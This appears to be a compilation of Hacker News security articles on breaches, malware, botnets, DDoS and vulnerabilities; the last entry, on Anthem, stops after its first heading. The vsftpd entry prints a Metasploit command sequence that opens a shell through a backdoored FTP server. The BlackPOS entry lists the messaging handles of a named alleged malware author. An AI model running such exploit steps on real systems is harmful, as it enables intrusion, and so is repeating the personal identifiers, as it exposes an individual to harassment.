BlackPOS Malware used in TARGET Data Breach developed by 17-Year Old Russian Hacker | https://thehackernews.com/2014/01/BlackPOS-Malware-russian-hacker-Target.html | The Holiday data breach at TARGET appeared to be part of a broad and highly sophisticated international hacking campaign against multiple retailers, involving the heist of possibly 110 million Credit-Debit cards, and personal information.
Target confirmed last weekend that a malicious software was embedded in point-of-sale (POS) equipment at its checkout counters to collect secure data as the credit cards were swiped during transactions.
The Malware called 'BlackPOS' also known as "reedum" or 'Kaptoxa' is an effective crimeware kit, that was created in March 2013 and available in underground sites for $1800-$2000.
Investigators from IntelCrawler found a 17-years old hacker who actually developed the BlackPOS crimeware kit. His nickname is 'ree4' and original name: 'Sergey Taraspov' from St.Petersburg and Nizhniy Novgorod (Russian Federation).
IntelCrawler's sources mentioned that the BlackPOS malware was created in March 2013 and first infected the Point-of-Sales environments in Australia, Canada and the US.
Alleged Russian hacker and malware developer Sergey Taraspov (ree4) sold more than 40 builds of BlackPOS to cybercriminals from Eastern Europe and other countries.
BlackPOS is a RAM-scraping malware totally written in VBScript i.e. It copies credit-card numbers from point-of-sale machines' RAM, in the instant after the cards are swiped and before the numbers are encrypted.
In December, after the TARGET data breach, the Symantec antivirus firm discovered the malware and dubbed as 'Infostealer.Reedum.C'.
'He is a very well known programmer of malicious code in underground and previously he has created several tools used in hacking community for brute force attacks, such as "Ree4 mail brute", and also earned some first money with social networks accounts hacking and DDoS attacks trainings, as well as software development including malicious code.'
More details about Sergey Taraspov (ree4):
E-mail 1: [email protected]
E-mail 2: [email protected]
ICQ: 565033
Skype: s.r.a.ree4
Now any of his toolkit buyer is possibly the culprit behind the Target data breach. According to researchers, the attackers somehow managed hack one of the TARGET server and uploaded the POS malware to the checkout machines located at various stores.
IntelCrawler didn't accuse him of the Target heist, but "He is still visible for us, but the real bad actors responsible for the past attacks on retailers such as Target and Neiman Marcus were just his customers". They said.
| Data_Breaches |
This New Malware Hides Itself Among Windows Defender Exclusions to Evade Detection | https://thehackernews.com/2021/07/this-new-malware-hides-itself-among.html | Cybersecurity researchers on Tuesday lifted the lid on a previously undocumented malware strain dubbed "MosaicLoader" that singles out individuals searching for cracked software as part of a global campaign.
"The attackers behind MosaicLoader created a piece of malware that can deliver any payload on the system, making it potentially profitable as a delivery service," Bitdefender researchers said in a report shared with The Hacker News. "The malware arrives on target systems by posing as cracked installers. It downloads a malware sprayer that obtains a list of URLs from the C2 server and downloads the payloads from the received links."
The malware has been so named because of its sophisticated internal structure that's orchestrated to prevent reverse-engineering and evade analysis.
Attacks involving MosaicLoader rely on a well-established tactic for malware delivery called search engine optimization (SEO) poisoning, wherein cybercriminals purchase ad slots in search engine results to boost their malicious links as top results when users search for terms related to pirated software.
Upon a successful infection, the initial Delphi-based dropper — which masquerades as a software installer — acts as an entry point to fetch next-stage payloads from a remote server and also add local exclusions in Windows Defender for the two downloaded executables in an attempt to thwart antivirus scanning.
It's worth pointing out that such Windows Defender exclusions can be found in the registry keys listed below:
File and folder exclusions - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
File type exclusions - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions
Process exclusions - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
One of the binaries, "appsetup.exe," is conceived to achieve persistence on the system, whereas the second executable, "prun.exe," functions as a downloader for a sprayer module that can retrieve and deploy a variety of threats from a list of URLs, ranging from cookie stealers to cryptocurrency miners, and even more advanced implants like Glupteba.
"prun.exe" is also notable for its barrage of obfuscation and anti-reverse techniques that involve separating code chunks with random filler bytes, with the execution flow designed to "jump over these parts and only execute the small, meaningful chunks."
Given MosaicLoader's wide-ranging capabilities, compromised systems can be co-opted into a botnet that the threat actor can then exploit to propagate multiple and evolving sets of sophisticated malware, including both publicly available and customized malware, to obtain, expand, and maintain unauthorized access to victim computers and networks.
"The best way to defend against MosaicLoader is to avoid downloading cracked software from any source," the researchers said. "Besides being against the law, cybercriminals look to target and exploit users searching for illegal software," adding it's essential to "check the source domain of every download to make sure that the files are legitimate."
| Malware |
Ashley Madison Dating Site Agrees to Pay $1.6 Million Fine Over Massive Breach | https://thehackernews.com/2016/12/ashley-madison-fine.html | Ashley Madison, an American most prominent dating website that helps married people cheat on their spouses has been hacked, has agreed to pay a hefty fine of $1.6 Million for failing to protect account information of 36 Million users, after a massive data breach last year.
Yes, the parent company of Ashley Madison, Ruby Corp. will pay $1.6 Million to settle charges from both Federal Trade Commission (FTC) and 13 states alleging that it misled its consumers about its privacy practices and did not do enough to protect their information.
Not only the company failed to protect the account information of its 36 Million users, but also it failed to delete account information after regretful users paid a $20 fee for "Full Delete" of their accounts.
Moreover, the Ashley Madison site operators were accused of creating fake accounts of "female" users in an effort to attract new members.
Avid Life Media denied the claim at the time, but a year later when the company rebranded as Ruby Corp., it admitted that tens of thousands of female users on AshleyMadison.com had just been lines of code.
Last year, a group of hackers released tons of gigabytes of critical data belonging to the company's internal operation as well as millions of Ashley Madison users that led to blackmails and even suicides.
Ruby Corp. was intended to pay a total of $17.5 Million fine -- $8.75 million fine to the FTC and another $8.75 million to 13 states that also filed complaints -- but the company can afford to pay just $1.6 Million fine.
"Today's settlement closes an important chapter on the company's past and reinforces our commitment to operating with integrity and to building a new future for our members, our team and our company," Rob Segal, Ruby's newly-appointed CEO, wrote in a blog post.
Besides this, Ruby Corp. has agreed to 20 years' worth of the FTC overseeing its network security to ensure that user data is being protected.
Here's the federal court order [PDF] that requires Ashley Madison to:
Perform a risk assessment to protect customer data
Implement new data security protocols
Upgrade systems based on the assessments
Offer periodic security risk assessment (both internal and third-party)
Require "reasonable safeguards" against any potential cyber attacks from their service providers
Ashley Madison was hacked in July 2015, resulting in the disclosure of personal information belonging to 35 Million users, including their usernames, first and last names, passwords, credit card data info, street names, phone numbers, transactions records, and email addresses.
| Data_Breaches |
Hacker stole $100,000 from Users of California based ISP using SQL Injection | https://thehackernews.com/2013/10/hacker-stole-100000-from-users-of.html | In 2013 we have seen a dramatic increase in the number of hack attacks attempted against banks, credit unions and utility companies using various techniques including DDoS attack, SQL injection, DNS Hijacking and Zero-Day Flaws.
SQL Injection is one of the most common security vulnerabilities on the web and is successful only when the web application is not sufficiently secured.
Recently a hacking Group named 'TeamBerserk' claimed on Twitter that, they have stolen $100,000 by leveraging user names and passwords taken from a California ISP Sebastian (Sebastiancorp.com)to access victims' bank accounts.
A video proof was uploaded on the Internet, shows that how hackers used a SQL injection attack against the California ISP Sebastian to access their customers' database includes e-mail addresses, user names and clear text passwords and then using the same data to steal money from those customers.
Let's see what SQL Injection is and how serious an attack like this actually can be.
SQL Injection is a type of web application vulnerability in which the attacker adds Structured Query Language (SQL) code to web inputs to gain access to an organization's resources. Using this technique, hackers can determine the structure and location of key databases and can download the database or compromise the database server.
Hackers took just 15 minutes to hack into the website using SQLmap (Automated SQL Injection Tool) -- stole customers' database and then immediately accesses the victim's Gmail account, linked PayPal accounts and Bank accounts also.
It's so hard to remember multiple passwords, some people just use the same one over and over. Is your Facebook password the same as your Twitter password? How about the password for your bank's website?
Now the hack explains that this us why it's extremely dangerous to use the same password on more than one Web site. In the POC video, hacker randomly chooses one Sebastian username and his relative password against Paypal, Gmail and even Citibank account logins and seriously that actually worked, because the victim is using the same passwords for all websites.
Now that you've control of the situation, don't let this happen again! If you have a bank account, a few credit cards, and several other important sensitive accounts, conduct a thorough security audit on them. Be sure that you know when you last logged in. Be sure to keep using different and Strong passwords for each website.
| Vulnerability |
Philips Smart TVs vulnerable to Screen Hijack and Cookie Theft | https://thehackernews.com/2014/03/philips-smart-tvs-vulnerable-to-screen_29.html | Previous articles on The Hacker News have highlighted that How Internet of Things (IoT) opens your home to cyber threats.
Recently the security researchers from vulnerability research firm ReVuln published a video demonstration shows that Philips Smart TV is prone to cyber attacks by hackers.
According to the researchers, some versions of Philips Smart TV with latest firmware update are wide open to hackers and also vulnerable to cookie theft.
The fault is in a feature called Miracast, that allows TVs to act as a WiFi access point with a hard-coded password 'Miracast,' and allows devices nearby within the range to connect the device for receiving the screen output.
"The main problem is that Miracast uses a fixed password, doesn't show a PIN number to insert and, moreover, doesn't ask permission to allow the incoming connection," Luigi Auriemma, CEO and security researcher at ReVuln, told SCMagazine.
The vulnerability allows an attacker within the device's WiFi range to access its various features. The potential attacker can:
Access the TV's configuration files
Access files stored on USB devices attached to the TV
Replace the image on screen with video or images of its choice
Control the TVs via an external remote control application
Steal website authentication cookies from the TV's browser
"So basically you just connect directly to the TV via WiFi, without restrictions. Miracas is enabled by default and the password cannot be changed." Luigi said.
The Researchers tested the flaw on Philips 55PFL6008S TV, but believe that many 2013 models are also affected because of the same firmware installed.
However, such attacks are not possible to happen in the wild, but if your neighbor is enough smart and knows your WiFi password, then either you should change your password to stronger one or turn off the Miracast feature on your Philips Smart TV.
Philip says, "Our experts are looking into this and are working on a fix. In the meantime, we recommend customers to switch off their Miracast function of the TV to avoid any vulnerability."
| Cyber_Attack |
Critical RCE Flaw in ForgeRock Access Manager Under Active Attack | https://thehackernews.com/2021/07/critical-rce-flaw-in-forgerock-access.html | Cybersecurity agencies in Australia and the U.S. are warning of an actively exploited vulnerability impacting ForgeRock's OpenAM access management solution that could be leveraged to execute arbitrary code on an affected system remotely.
"The [Australian Cyber Security Centre] has observed actors exploiting this vulnerability to compromise multiple hosts and deploy additional malware and tools," the organization said in an alert. ACSC didn't disclose the nature of the attacks, how widespread they are, or the identities of the threat actors exploiting them.
Tracked as CVE-2021-35464, the issue concerns a pre-authentication remote code execution (RCE) vulnerability in ForgeRock Access Manager identity and access management tool, and stems from an unsafe Java deserialization in the Jato framework used by the software.
"An attacker exploiting the vulnerability will execute commands in the context of the current user, not as the root user (unless ForgeRock AM is running as the root user, which is not recommended)," the San Francisco-headquartered software firm noted in an advisory.
"An attacker can use the code execution to extract credentials and certificates, or to gain a further foothold on the host by staging some kind of shell (such as the common implant Cobalt Strike)," it added.
The vulnerability affects versions 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and has been addressed in version AM 7 released on June 29, 2021. ForgeRock customers are advised to move quickly to deploy the patches to mitigate the risk associated with the flaw.
| Vulnerability |
Tyupkin Malware Hacking ATM Machines Worldwide | https://thehackernews.com/2014/10/hacking-ATM-machine-tyupkin-malware.html | Money is always a perfect motivation for cyber criminals who tries different tricks to solely target users with card skimmers that steal debit card numbers, but now the criminals are using specialized malware that targets ATM (Automated Teller Machine) systems to withdraw cash even without the need of a card.
The new backdoor program, dubbed as "Tyupkin," requires physical access to the ATM system running 32-bit Windows platforms and booting it off of a CD in order to install the malware. According to the researchers, the threat has continued to evolve in recent months, infecting ATMs in Asia, Europe, and Latin America.
There are no details relating to the criminal gang behind the attacks, but they have already stolen "millions of dollars" from ATMs worldwide using the sophisticated malware, security firms Kaspersky and Interpol, who are working together in an attempt to foil the criminal gang, said in a joint statement released on Tuesday.
"Over the last few years, we have observed a major upswing in ATM attacks using skimming devices and malicious software," said Vicente Diaz, principal security researcher at Kaspersky Lab.
"Now we are seeing the natural evolution of this threat with cybercriminals moving up the chain and targeting financial institutions directly. This is done by infecting ATMs themselves or launching direct Advanced Persistent Threat (APT)-style attacks against banks. The Tyupkin malware is an example of the attackers taking advantage of weaknesses in the ATM infrastructure."
HOW TYUPKIN ATTACK WORKS
In order to install the malicious backdoor, money mules need to physically insert a bootable CD which installs the malware.
Once the machine is rebooted, the ATM is under the control of the criminal gang. The sophisticated malware then runs in the background on an infinite loop awaiting a command from the attacker's side. However, the malware will only accept commands at specific times – in this case on Sunday and Monday nights – making it harder to detect.
Furthermore, a unique combination key based on random numbers is generated – so that the possibility of a member of the public accidentally entering a code can be avoided. This key code needs to be entered before the main menu is shown.
"The malicious operator receives instructions by phone from another member of the gang who knows the algorithm and is able to generate a session key based on the number shown," Kaspersky stated in its release. "This ensures that the mules collecting the cash do not try to go it alone."
When this session key is entered correctly, the ATM displays details of how much money is available in each cash cassette, inviting the operator to choose which cassette to steal from, and the number of available banknotes – the ATM dispenses a maximum of 40 at a time from the chosen cassette.
COUNTRIES AFFECTED BY TYUPKIN
During investigation the researchers found more than 50 ATMs from banking institutions throughout Eastern Europe, and most of the Tyupkin submissions came from Russia. The malware appears to have since spread to the United States, India, China, Israel, France and Malaysia.
The scam has been even caught on video, as many of the ATMs have cameras, so you can also have a look to the video provided below. Kaspersky has informed law enforcement about the issue and also alerted banks and the financial sectors of the steps needed to prevent this type of attack.
| Malware |
New Kimsuky Module Makes North Korean Spyware More Powerful | https://thehackernews.com/2020/11/new-kimsuky-module-makes-north-korean.html | A week after the US government issued an advisory about a "global intelligence gathering mission" operated by North Korean state-sponsored hackers, new findings have emerged about the threat group's spyware capabilities.
The APT — dubbed "Kimsuky" (aka Black Banshee or Thallium) and believed to be active as early as 2012 — has been now linked to as many as three hitherto undocumented malware, including an information stealer, a tool equipped with malware anti-analysis features, and a new server infrastructure with significant overlaps to its older espionage framework.
"The group has a rich and notorious history of offensive cyber operations around the world, including operations targeting South Korean think tanks, but over the past few years they have expanded their targeting to countries including the United States, Russia and various nations in Europe," Cybereason researchers said in an analysis yesterday.
Last week, the FBI and departments of Defense and Homeland Security jointly released a memo detailing Kimsuky's tactics, techniques, and procedures (TTPs).
Leveraging spear-phishing and social engineering tricks to gain the initial access into victim networks, the APT has been known to specifically target individuals identified as experts in various fields, think tanks, the cryptocurrency industry, and South Korean government entities, in addition to posing as journalists from South Korea to send emails embedded with BabyShark malware.
In recent months, Kimsuky has been attributed to a number of campaigns using coronavirus-themed email lures containing weaponized Word documents as their infection vector to gain a foothold on victim machines and launch malware attacks.
"Kimsuky focuses its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions," the Cybersecurity and Infrastructure Security Agency (CISA) said.
Now according to Cybereason, the threat actor has acquired new capabilities via a modular spyware suite called "KGH_SPY," allowing it to carry out reconnaissance of target networks, capture keystrokes, and steal sensitive information.
Besides this, the KGH_SPY backdoor can download secondary payloads from a command-and-control (C2) server, execute arbitrary commands via cmd.exe or PowerShell, and even harvest credentials from web browsers, Windows Credential Manager, WINSCP and mail clients.
Also of note is the discovery of a new malware named "CSPY Downloader" that's designed to thwart analysis and download additional payloads.
Lastly, Cybereason researchers unearthed a new toolset infrastructure registered between 2019-2020 that overlaps with the group's BabyShark malware used to previously target US-based think tanks.
"The threat actors invested efforts in order to remain under the radar, by employing various anti-forensics and anti-analysis techniques which included backdating the creation/compilation time of the malware samples to 2016, code obfuscation, anti-VM and anti-debugging techniques," the researchers said.
"While the identity of the victims of this campaign remains unclear, there are clues that can suggest that the infrastructure targeted organizations dealing with human rights violations."
| Malware |
New Mirai Variant and ZHtrap Botnet Malware Emerge in the Wild | https://thehackernews.com/2021/03/new-mirai-variant-and-zhtrap-botnet.html | Cybersecurity researchers on Monday disclosed a new wave of ongoing attacks exploiting multiple vulnerabilities to deploy new Mirai variants on internet connected devices.
"Upon successful exploitation, the attackers try to download a malicious shell script, which contains further infection behaviors such as downloading and executing Mirai variants and brute-forcers," Palo Alto Networks' Unit 42 Threat Intelligence Team said in a write-up.
The rash of vulnerabilities being exploited include:
VisualDoor - a SonicWall SSL-VPN remote command injection vulnerability that came to light earlier this January
CVE-2020-25506 - a D-Link DNS-320 firewall remote code execution (RCE) vulnerability
CVE-2021-27561 and CVE-2021-27562 - Two vulnerabilities in Yealink Device Management that allow an unauthenticated attacker to run arbitrary commands on the server with root privileges
CVE-2021-22502 - an RCE flaw in Micro Focus Operation Bridge Reporter (OBR), affecting version 10.40
CVE-2019-19356 - a Netis WF2419 wireless router RCE exploit, and
CVE-2020-26919 - a Netgear ProSAFE Plus RCE vulnerability
"The VisualDoor exploit in question targets an old SSL-VPN firmware vulnerability that was patched on legacy products in 2015 with 7.5.1.4-43sv and 8.0.0.4-25sv releases," SonicWall said in a statement to The Hacker News. "It is not viable against any properly patched SonicWall appliances."
Also included in the mix are three previously undisclosed command injection vulnerabilities that were deployed against unknown targets, one of which, according to the researchers, has been observed in conjunction with a separate botnet by the name of MooBot.
The attacks are said to have been detected over a month-long period starting from February 16 to as recent as March 13.
Regardless of the flaws used to achieve successful exploitation, the attack chain involves the use of wget utility to download a shell script from the malware infrastructure that's then used to fetch Mirai binaries, a notorious malware that turns networked IoT devices running Linux into remotely controlled bots that can be used as part of a botnet in large-scale network attacks.
Besides downloading Mirai, additional shell scripts have been spotted retrieving executables to facilitate brute-force attacks to break into vulnerable devices with weak passwords.
"The IoT realm remains an easily accessible target for attackers. Many vulnerabilities are very easy to exploit and could, in some cases, have catastrophic consequences," the researcher said.
New ZHtrap Botnet Traps Victims Using a Honeypot
In a related development, researchers from Chinese security firm Netlab 360 discovered a new Mirai-based botnet called ZHtrap that makes use of a honeypot to harvest additional victims, while borrowing some features from a DDoS botnet known as Matryosh.
While honeypots typically mimic a target for cyber criminals so as to take advantage of their intrusion attempts to glean more information about their modus operandi, the ZHtrap botnet uses a similar technique by integrating a scanning IP collection module for gathering IP addresses that are used as targets for further worm-like propagation.
It achieves this by listening on 23 designated ports and identifying IP addresses that connect to these ports, then using the amassed IP addresses to inspect them for four vulnerabilities to inject the payload -
MVPower DVR Shell unauthenticated RCE
Netgear DGN1000 Setup.cgi unauthenticated RCE
CCTV DVR RCE affecting multiple vendors, and
Realtek SDK miniigd SOAP command execution (CVE-2014-8361)
"ZHtrap's propagation uses four N-day vulnerabilities, the main function is DDoS and scanning, while integrating some backdoor features," the researchers said. "Zhtrap sets up a honeypot on the infected device, [and] takes snapshots for the victim devices, and disables the running of new commands based on the snapshot, thus achieving exclusivity over the device."
Once it has taken over the devices, ZHtrap takes a cue from the Matryosh botnet by using Tor for communications with a command-and-control server to download and execute additional payloads.
Noting that the attacks began from February 28, 2021, the researchers said ZHtrap's ability to turn infected devices into honeypots marks an "interesting" evolution of botnets to facilitate finding more targets.
These Mirai-based botnets are the latest to spring up on the threat landscape, in part fanned by the availability of Mirai's source code on the Internet since 2016, opening the field wide open for other attackers to build their own variants.
Last March, researchers discovered a Mirai variant called "Mukashi," which was found targeting Zyxel network-attached storage (NAS) devices to conscript them into a botnet. Then in October 2020, Avira's IoT research team identified another variant of the Mirai botnet named "Katana," which exploited remote code execution vulnerabilities to infect D-Link DSL-7740C routers, DOCSIS 3.1 wireless gateway devices, and Dell PowerConnect 6224 Switches.
| Malware |
Video Demonstration : Vsftpd backdoor discovered by Mathias Kresin | https://thehackernews.com/2011/07/video-demonstration-vsftpd-backdoor.html | Video Demonstration : Vsftpd backdoor discovered by Mathias Kresin
2.3.4 of vsftpd's downloadable source code was compromised and a backdoor added to the code. Evans, the author of vsftpd . This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was present in the vsftpd-2.3.4.tar.gz archive sometime before July 3rd 2011.
The bad tarball included a backdoor in the code which would respond to a user logging in with a user name ":)" by listening on port 6200 for a connection and launching a shell when someone connects. Read more here
Affected versions :
vsftpd-2.3.4 from 2011-06-30
Metasploit demo :
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST localhost
set PAYLOAD cmd/unix/interact
exploit
id
uname -a
Video Demonstration :
| Vulnerability |
100Gbps DDoS attack took down Gaming servers with NTP Servers | https://thehackernews.com/2014/01/ddos-attack-NTP-server-reflection-protection.html | The New Year begins with a new form of amplified Distributed Denial of Service (DDoS) Attack, a weapon for attackers to bring down websites and servers.
As we have reported two weeks ago that the attackers are abusing the Network Time Protocol (NTP) servers to perform an amplified version of DDoS Attack on various targets across the world.
Earlier this week a number of popular Gaming services, including League of Legends, EA.com and Battle.net from Blizzard were taken down by similar DDoS attack.
'Network Time Protocol (NTP)' is a distributed network clock time synchronization protocol that is used to synchronize computer clock times in a network of computers and runs over port 123 UDP.
"The attacker sends a small spoofed 8-byte UDP packets are sent to the vulnerable NTP Server that requests a large amount of data (megabytes worth of traffic) be sent to the DDoS's target IP Address. "Security Researcher, Wang Wai detailed in a previous article on 'The Hacker News'.
There are hundreds of open NTP servers available on the Internet that could be abused by an attacker to redirect 100 times bigger responses (packets) to the victims' server than the spoofed request.
As estimated, this technique floods the gaming servers with more than 100Gbps DDoS attack and the average size of these attacks was 7.3 gigabits per second, almost three times the average DDoS attack observed in December.
"If you manage a public NTP server, can fix the issue by updating it to NTP 4.2.7, for which the support of 'monlist' query has been removed in favor of new safe 'mrunlist' function which uses a nonce value ensuring that received IP address match the actual requester." Wang Wai recommended.
| Vulnerability |
'Tinba' Banking Malware Source Code Leaked Online | https://thehackernews.com/2014/07/tinba-banking-malware-source-code.html | The source code for the smallest but sophisticated banking Trojan Tinba has been leaked through an online post in an underground forum, which make it available for anyone who knows where to look for free malware generation tools.
The files posted on the closed russian underground forum turned out to be the source code of Tinba version1, which was discovered around mid-2012 and they say it is the original, privately sold version of the crimeware kit that infected thousands of computers in Turkey.
Tinba, also known as Zusy, is a tiny but deadly banking Trojan that comprises just 20 Kilobytes of code that gives it ability to slip past detection by some antivirus engines and uses a number of well-word man-in-the-browser tricks in an attempt to defeat two-factor authentication. It infects systems without any advanced encryption or packing and has capability to hook into browsers and steal login data and sniff on network traffic.
Last week, researchers at CSIS in Denmark found a post in an underground cybercrime forum that contained an attachment that turned out to be the source code for Tinba, and after analyzing and investigating the files, CSIS got to know that the source code found was for version one of Tinba banking trojan.
The leaked source code would be a golden opportunity for those who always look for these kind of opportunity as these types of malware programs are only offered for sale in underground forums. Researchers believe that the source code of the malware was likely sold, modified and improved by other attackers.
Despite the older version of the banking Trojan, it works without any difficulties. Members of the closed underground forum can download the source code of Tinda version 1 for free of cost.
"So, our research on this malware and the group behind it proves to have been correct. Sometimes around 2012, the Tinba version 1 source code was taken over by new criminals and it is precisely the version 1 source code which has now been made available to the public and not the code being used in current and ongoing attacks," Peter Kruse, security specialist at CSIS, said in a blog post.
"The Tinba leaked source code comes with a complete documentation and full source code. It is nicely structured and our initial analysis proves that the code works smoothly and compiles just fine."
The source code for an online banking Trojan, very well known as Zeus, was leaked in 2011, which also opened up an opportunity for a wider range of cybercriminals to develop more sophisticated and powerful commercial crimeware-kits.
"We don't expect the source code of Tinba to become a major inspiration for IT-criminals as it was the case for ZeuS. However, making the code public increases the risk of new banker Trojans to arise based partially on Tinba source code," Kruse said.
| Malware |
Hackers Steal Over $600 Million Worth of Cryptocurrencies from Poly Network | https://thehackernews.com/2021/08/hacker-steal-over-600-million-worth-of.html | Hackers have siphoned $611 million worth of cryptocurrencies from a blockchain-based financial network in what's believed to be one of the largest heists targeting the digital asset industry, putting it ahead of breaches targeting exchanges Coincheck and Mt. Gox in recent years.
Poly Network, a China-based cross-chain decentralized finance (DeFi) platform for swapping tokens across multiple blockchains such as Bitcoin and Ethereum, on Tuesday disclosed unidentified actors had exploited a vulnerability in its system to plunder thousands of digital tokens such as Ether.
"The hacker exploited a vulnerability between contract calls," Poly Network said.
The stolen Binance Chain, Ethereum, and Polygon assets are said to have been transferred to three different wallets, with the company urging miners of affected blockchain and centralized crypto exchanges to blocklist tokens coming from the addresses. The three wallet addresses are as follows -
Ethereum: 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963 ($273 million)
Binance Smart Chain: 0x0D6e286A7cfD25E0c01fEe9756765D8033B32C71 ($253 million)
Polygon: 0x5dc3603C9D42Ff184153a8a9094a73d461663214 ($85 million)
In an open letter, the protocol maintainers urged the thieves to "establish communication and return the hacked assets."
"The amount of money you have hacked is one of the biggest in DeFi history. Law enforcement in any country will regard this as a major economic crime and you will be pursued. [...] The money you stole are from tens of thousands of crypto community members, hence the people," the team said.
Tether's Chief Technology Officer Paolo Ardoino tweeted that the stablecoin company froze $33 million worth of its tokens that were taken in the haul.
"We are aware of the poly.network exploit that occurred today. While no one controls BSC (or ETH), we are coordinating with all our security partners to proactively help. There are no guarantees. We will do as much as we can," Binance CEO Changpeng Zhao said in a tweet.
The identity of the hacker remains unclear, although blockchain security firm SlowMist claimed it was able to trace the attacker email address, IP address, and device fingerprint and that their initial source of funds were in Monero coins, which were then exchanged for ETH, MATIC, and other currencies.
Update: Poly Network on Wednesday said the unknown culprit behind the attack had sent back $261 million worth of crypto assets that were stolen from the platform (Ethereum: $3.3 million, BSC: $256 million, and Polygon: $1 million). While the motive behind returning the stolen digital funds remains unknown, in a "Q&A" held via Ether transaction notes, the hacker claimed it was "for fun."
"The Poly Network hack and subsequent return of funds shows that it’s becoming more difficult to pull off large-scale cryptocurrency theft," Blockchain analysis platform Chainalysis said. "That may sound counterintuitive given that this $600 million theft represents the biggest DeFi hack of all time, and that the fast-growing DeFi ecosystem is uniquely vulnerable to hacks. However, cryptocurrency theft is more difficult to get away with than theft of fiat funds. This is due in part to the inherent transparency of blockchains."
| Cyber_Attack |
Cyber Attacks on Six Major American Banks | https://thehackernews.com/2012/10/cyber-attacks-on-six-major-american.html | According to reports, some of the United States biggest financial institutions including Wells Fargo, JPMorgan Chase, Bank of America, Citigroup, and Bancorp were hit by a series of cyber attacks last week, by a group claiming Middle Eastern ties, that caused Internet blackouts and delays in online banking.
The banks suffered denial-of-service attacks, in which hackers barrage a website with traffic until it is overwhelmed and shuts down. Such attacks, while a nuisance, are not technically sophisticated and do not affect a company's computer network or, in this case, funds or customer bank accounts.
Hacktivists, calling themselves "Mrt. Izz ad-Din alQasssam Cyber Fighters," attacked Wells Fargo and posted on Pastebin that U.S. Bancorp and PNC Financial Services Group are next. The group said it had attacked the banks in retaliation for an anti-Islam video that mocks the Prophet Muhammad. It also pledged to continue to attack American credit and financial institutions daily, and possibly institutions in France, Israel and Britain, until the video is taken offline. The New York Stock Exchange and Nasdaq were also targeted.
Frustrated customers of Bank of America, JPMorgan Chase, Citigroup, U.S. Bank, Wells Fargo and PNC, who could not get access to their accounts or pay bills online, were upset because the banks had not explained clearly what was going on.
Representatives for other banks also confirmed that they had experienced slow Internet performance and intermittent downtime because of an unusually high volume of traffic. Security researchers said the attack methods were too basic to have taken so many US bank sites offline. The hackers appeared to be enlisting volunteers for the attacks with messages on various sites.
IT Security professionals need to realize that the hackers are doing damage to websites without having to access the corporate servers. They are hitting the site hard without breaking in. A safety barrier must be created and maintained.
Update: Prolexic Technologies said the distributed denial of service (DDoS) toolkit called itsoknoproblembro was used against some of the banks which included Wells Fargo, U.S. Bank, PNC Bank, Bank of America and JPMorgan Chase.
The attack signatures are extremely complex and Prolexic has recorded sustained floods peaking at 70 Gbps and more than 30 million pps against some of its customers. Most mitigation providers would struggle to combat DDoS attacks with these characteristics.
The itsoknoproblembro toolkit includes multiple infrastructure and application-layer attack vectors, such as SYN floods, that can simultaneously attack multiple destination ports and targets, as well as ICMP, UDP and SSL encrypted attack types.
| Cyber_Attack |
Sudo Bug Lets Non-Privileged Linux and macOS Users Run Commands as Root | https://thehackernews.com/2020/02/sudo-linux-vulnerability.html | Joe Vennix of Apple security has found another significant vulnerability in sudo utility that under a specific configuration could allow low privileged users or malicious programs to execute arbitrary commands with administrative ('root') privileges on Linux or macOS systems.
Sudo is one of the most important, powerful, and commonly used utilities that comes as a core command pre-installed on macOS and almost every UNIX or Linux-based operating system.
Sudo has been designed to let users run apps or commands with the privileges of a different user without switching environments.
Sudo Vulnerability (CVE-2019-18634)
The newly discovered privilege escalation vulnerability, tracked as CVE-2019-18634, in question stems from a stack-based buffer overflow issue that resides in Sudo versions before 1.8.26.
According to Vennix, the flaw can only be exploited when the "pwfeedback" option is enabled in the sudoers configuration file, a feature that provides visual feedback, an asterisk (*), when a user inputs password in the terminal.
To be noted, the pwfeedback feature is not enabled by default in the upstream version of sudo or many other packages. However, some Linux distributions, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.
Besides this, when pwfeedback is enabled, the vulnerability can be exploited by any user, even without sudo permissions.
"The bug can be reproduced by passing a large input to sudo via a pipe when it prompts for a password," Sudo developer Todd C. Miller explained. "Because the attacker has complete control of the data used to overflow the buffer, there is a high likelihood of exploitability."
Check If You're Affected and Apply Patches
To determine if your sudoers configuration is affected, you can run "sudo -l" command on your Linux or macOS terminal to find whether the "pwfeedback" option is enabled and listed in the "Matching Defaults entries" output.
If enabled, you can disable the vulnerable component by changing "Defaults pwfeedback" to "Defaults !pwfeedback" in the sudoers configuration file to prevent the exploitation of the privilege escalation vulnerability.
Vennix responsibly reported the vulnerability to the maintainers of Sudo, who late last week released sudo version 1.8.31 with a patch.
"While the logic bug is also present in sudo versions 1.8.26 through 1.8.30 it is not exploitable due to a change in EOF handling introduced in sudo 1.8.26," Miller said.
Apple has also released a patch update for macOS High Sierra 10.13.6, macOS Mojave 10.14.6, macOS Catalina 10.15.2 last week.
Joe Vennix last year reported a similar impact vulnerability in Sudo that could have been exploited by an attacker to run commands as root just by specifying the user ID "-1" or "4294967295."
| Vulnerability |
Anthem Data Breach — 6 Things You Need To Know | https://thehackernews.com/2015/02/anthem-data-breach.html | The Nation's second largest Health insurer company, Anthem, alerted its customers on Wednesday that hackers had stolen the personal information of over 80 Millions of its customers, making it the largest data breach and double the number of payment cards affected by Target data breach occurred in 2013.
The stolen personal information includes residential addresses, birthdays, medical identification numbers, Social Security Numbers, email addresses and some income data belonging to both current and former customers and employees, including its own chief executive.
80 Million is a vast number — it's roughly the populations of California, Texas and Illinois when combined together. So far, there is no evidence whether financial or medical information of the company's customers was compromised, according to a statement given by Anthem's vice president, Kristin Binns.
The health giant, based in Indianapolis, has hired cybersecurity firm FireEye's Mandiant division to work out which customers. Despite these efforts, the company has not yet identified the attacker behind the massive Anthem data breach.
1. WHAT WENT WRONG ?
Now the question rises, What went wrong with the second largest health insurer company that it lead its 80 million customers expose to mega cyber hacks?
